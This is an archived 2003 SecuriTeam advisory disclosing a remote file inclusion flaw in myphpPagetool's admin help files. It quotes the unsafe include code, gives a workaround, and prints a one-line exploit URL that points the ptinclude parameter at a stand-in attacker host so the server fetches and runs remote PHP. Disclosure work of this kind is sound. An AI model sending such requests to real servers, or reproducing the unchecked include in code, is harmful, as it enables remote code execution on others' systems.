[UNIX] Vulnerability in myphpPagetool Enables Arbitrary Code Execution
From: support@securiteam.com
Date: 03/02/03
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 2 Mar 2003 23:51:57 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
Vulnerability in myphpPagetool Enables Arbitrary Code Execution
------------------------------------------------------------------------
SUMMARY
<http://myphppagetool.sourceforge.net> myphpPagetool is a complete
package to drive your Website.
It is completely written using the php script language and uses the mysql
database to store and manage all pages, images, layout and users/groups.
A vulnerability in the program allows remote users to execute arbitrary
commands on the server.
DETAILS
Vulnerable versions:
* 0.4.3-1 and below
The vulnerability is caused by using the administrators help files located
at:
/doc/admin
and titled:
index.php , help1.php , help2.php, ... , help9.php.
The files contain this unsafe code:
"----------------------------------------
<?php
include ($ptinclude . "/pt_config.inc");
[...]
----------------------------------------"
Therefore allowing a remote user to include his/her own pt_config.inc on
their site.
Exploit code:
If the user has set regisers_global = ON then the following attack is
possible:
http://www.example.com/myphpPagetool.directory/doc/admin/index.php?ptinclude=http://attackersaddress
While the attacker prepares his/her own:
http://attackersaddress/pt_config.inc
Solution:
Search <http://www.phpsecure.org> phpsecure.org for their security patch.
The site is French but it is very intuitive: simply search for
"phpmyPagetool".
Workaround:
Replace in each file the line:
include ($ptinclude. "/pt_config.inc");
With:
if (file_exists($ptinclude . "/pt_config.inc")){
include ($ptinclude . "/pt_config.inc");
}
ADDITIONAL INFORMATION
Information was provided by <mailto:frog-man@frog-man.org > frog man
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NEWS] Cross Site Scripting Trick May Fool Shoutcast Admins"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|